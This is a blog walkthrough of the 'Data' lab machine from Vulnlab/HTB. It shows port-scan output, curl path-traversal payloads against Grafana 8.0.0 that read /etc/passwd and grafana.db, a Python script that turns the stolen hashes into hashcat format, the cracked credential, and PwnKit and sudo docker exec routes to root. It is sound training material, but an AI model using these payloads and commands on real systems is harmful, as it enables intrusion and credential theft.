Walkthrough – Data (Vulnlab and Hack The Box HTB)

This is a write up/walkthrough of the machine called “Data” on Vulnlab: https://www.vulnlab.com/

As of June 2025, Hack The Box HTB has migrated Vulnlab machines onto their lab offerings.

Enumeration

I run rustscan and see port 22 and 3000 open.

└─$ rustscan -a 10.10.70.42 --ulimit 5000 --range 1-65535 -- -sVC -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.70.42:22
Open 10.10.70.42:3000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-26 17:42 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:42
Completed NSE at 17:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:42
Completed NSE at 17:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:42
Completed NSE at 17:42, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 17:42
Completed Parallel DNS resolution of 1 host. at 17:42, 0.05s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 17:42
Scanning 10.10.70.42 [2 ports]
Discovered open port 22/tcp on 10.10.70.42
Discovered open port 3000/tcp on 10.10.70.42
Completed Connect Scan at 17:42, 0.27s elapsed (2 total ports)
Initiating Service scan at 17:42
Scanning 2 services on 10.10.70.42
Completed Service scan at 17:44, 97.76s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.70.42.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:44
Completed NSE at 17:44, 6.43s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:44
Completed NSE at 17:44, 2.69s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:44
Completed NSE at 17:44, 0.00s elapsed
Nmap scan report for 10.10.70.42
Host is up, received user-set (0.27s latency).
Scanned at 2024-04-26 17:42:35 EDT for 107s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:20:f1:c8:dc:ff:46:90:91:79:60:06:93:df:9c:2c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC13QEAe1q08adOw9BnxyxOJVgv85sAKBfc5/FSMhlar68+DXg/JZ0+kpasHjHSqJx5ZpZwWWd0NghqlllVlql20TCFoSNpt5jOeSHuhpmVkN2EgQ6Oepm/vHcOlkH7lnrBtTHRCswdKoDL7hI/zF0pcfU1/bvUX9MJkd5ZxfZAYRVYOahYmEMyJbUMT/jQxeIg1e9OxHH3K4d2fFdNca9oLPHethvFm8tJnoYteG+BqvjscJmac+R9GnUxi3cjRXT0Wmi1aPsqevqTtNboAXA0jhJXoZY1q672prlTShULEmSG07Qjds8MTmYMce8iIK1RdYfduAYHG6wvNhigEQN/
|   256 b0:2a:76:6b:75:18:8b:aa:d2:ab:4d:36:20:fb:b3:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI8hQ8d9CuSktOMiXedu3jZ40dwb4QO3chzwQOaGn9SiTNLa0qPZFnMyrx55hxWPbfSPub5BfRvrZqLpejVyBSk=
|   256 1d:fd:db:d5:77:87:48:81:b9:4c:39:2f:14:3c:99:4d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIODXr8a2tfFMUAUtcK3dg5PBOkLxzx2ZDW2NqB06sm8q
3000/tcp open  ppp?    syn-ack
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 26 Apr 2024 21:43:22 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 26 Apr 2024 21:42:46 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 26 Apr 2024 21:42:52 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=4/26%Time=662C1FD2%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Con
SF:trol:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nEx
SF:pires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cooki
SF:e:\x20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Prot
SF:ection:\x201;\x20mode=block\r\nDate:\x20Fri,\x2026\x20Apr\x202024\x2021
SF::42:46\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Fou
SF:nd</a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent
SF:-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n4
SF:00\x20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\n
SF:Cache-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\n
SF:Pragma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20Ht
SF:tpOnly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Fram
SF:e-Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x2
SF:0Fri,\x2026\x20Apr\x202024\x2021:42:52\x20GMT\r\nContent-Length:\x200\r
SF:\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:
SF:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20char
SF:set=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSS
SF:essionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent
SF:-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n4
SF:00\x20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Fou
SF:nd\r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20char
SF:set=utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cac
SF:he\r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.
SF:txt%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-
SF:Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x2
SF:01;\x20mode=block\r\nDate:\x20Fri,\x2026\x20Apr\x202024\x2021:43:22\x20
SF:GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n
SF:\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:44
Completed NSE at 17:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:44
Completed NSE at 17:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:44
Completed NSE at 17:44, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.57 seconds

I see there is a Grafana login on port 3000:

I check the Grafana version v8.0.0 for any potential exploits:

I see the exploit available here for directory traversal:

https://www.exploit-db.com/exploits/50581

I simply download the exploit into my scripts folder with searchsploit -m 50581

I run it and confirm that I can read the /etc/password file but I can’t read the /etc/shadow file to crack any user creds unfortunately:

Doing more research on this exploit, I see one on GitHub that has some interesting file paths: https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798/blob/main/paths.txt

It looks like there is a db file at /var/lib/grafana/grafana.db I could potential read.

I try to read it but it is jumbled mess. I see 2 users, boris and admin:

It’s probably better to download the db file and open it with sqlite3.

nuclei

I also noticed nuclei picked up the path traversal from one of its templates:

curl download

I tried to download with curl and test on the /etc/passwd file first using the following command and failed:

curl -v -o downloaded_file.txt http://10.10.70.42:3000/public/plugins/alertlist/../../../../../../../../../etc/passwd

I found out that I needed to add the –path-as-is tag on curl as it is not processing the ../../ from the path traversal payload. So I found this article that explains it:

https://daniel.haxx.se/blog/2020/07/29/curl-ootw-path-as-is/

So I ran this to download the file properly:

curl http://10.10.70.42:3000/public/plugins/welcome/../../../../../../../../etc/passwd -o passwd --path-as-is

With that resolved I can now download the grafana.db file with curl http://10.10.70.42:3000/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db --path-as-is -o grafana.db

We need to open this .db file now so let’s run:

sqlite3 grafana.db
.tables

We find some password hashes for the users boris and admin:

sqlite> select * from user;
1|0|admin|admin@localhost||7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S|hLLY6QQ4Y6||1|1|0||2022-01-23 12:48:04|2022-01-23 12:48:50|0|2022-01-23 12:48:50|0
2|0|boris|boris@data.vl|boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w||1|0|0||2022-01-23 12:49:11|2022-01-23 12:49:11|0|2012-01-23 12:49:11|0

I do research on how to crack a grafana db password and find this link on google:
https://vulncheck.com/blog/grafana-cve-2021-43798

The code is written in Go and suggests we run it to extract the password hash to be crackable by hashcat.

I create a python script based on the Go script instead to convert the password hashes into a format that is crackable by hashcat.

#Name this convert.py
import sqlite3
import base64

def process_database(db_path):
    # Connect to the SQLite database
    conn = sqlite3.connect(db_path)
    cursor = conn.cursor()

    # Query to fetch email, password, and salt from the user table
    try:
        cursor.execute("SELECT email, password, salt FROM user")
    except sqlite3.Error as e:
        print(f"An error occurred: {e}")
        return False

    # Open a file to write the hashcat-compatible hashes
    with open("output_hashes.txt", "w") as hash_file:
        for email, password, salt in cursor.fetchall():
            try:
                # Decode the hex-encoded password and encode it in base64
                decoded_password = base64.b64encode(bytearray.fromhex(password)).decode('utf-8')
                encoded_salt = base64.b64encode(salt.encode()).decode('utf-8')

                # Write the formatted string to file
                # Format is suitable for hashcat usage, mode 10900 (PBKDF2-HMAC-SHA256)
                hashcat_format = f"sha256:10000:{encoded_salt}:{decoded_password}\n"
                hash_file.write(hashcat_format)
            except Exception as e:
                print(f"Failed processing {email}: {e}")
                continue

    # Close the database connection
    conn.close()
    return True

# Path to the SQLite database
db_path = "grafana.db"
success = process_database(db_path)
if success:
    print("Data processed and saved successfully.")
else:
    print("Data processing failed.")

We get these two hashes now:

sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

I run hashcat with the following command (using GPU on host):

hashcat.exe -m 10900 output_hashes.txt rockyou.txt -o cracked.txt

I am able to crack one of the passwords, namely for the user boris:

sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

Low priv user creds are boris:beautiful1

Initial Foothold – SSH

I confirm I have access to the boris account via SSH:

Privesc – PwnKit

I download linpeas to the target machine and run it:

I see PwnKit on the top of the list:

I download PwnKit and run it to get root:

Privesc – Docker Exec Breakout

I went back to see if there is another way to exploit the machine and get root. Looking at the linpeas output again, we can see that the boris user can run docker exec as sudo:

We can also confirm this with sudo -l

I did research and found something on hacktricks about getting a root shell with the exec command, but we would need the container name:

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation

We would need to run this command to get a shell:

docker exec -it container_name /bin/sh

Ran the following commands to get the hostname:

env
env | grep DOCKER
cat /proc/1/cgroup
hostname
cat /etc/hosts
ls /mounted/volume/path
cat /etc/hostname

I ended up getting ip-10-10-10-11

Ran the following command but was running into issues:

sudo /snap/bin/docker exec -it ip-10-10-10-11 /bin/sh

I took a step back and realized I was getting a different output since I was in the container. I went back to the LFI exploitdb script and ran it to get the container name. Note that sometimes by default, the container name can be the hostname which is why I ran the above commands.

The actual container name is: e6ff5b1cbc85

I ran this and still got an issue as I was still a low priv user – grafana: sudo /snap/bin/docker exec -it e6ff5b1cbc85 /bin/sh

I went back to look at the help tag and realized that I could specify the user I wanted to exec as, which would be root:

I ran the following command and got root:

sudo /snap/bin/docker exec --privileged --user root -it e6ff5b1cbc85 /bin/bash

Conclusion

I would say this box is a “medium” on difficulty. There are different ways to exploit this machine which I liked. It took me some time to figure out the 2 exploit paths completely but overall it was a good challenge.

– Z333RO

Discover more from Hidden Door Security

Subscribe now to keep reading and get access to the full archive.

Continue reading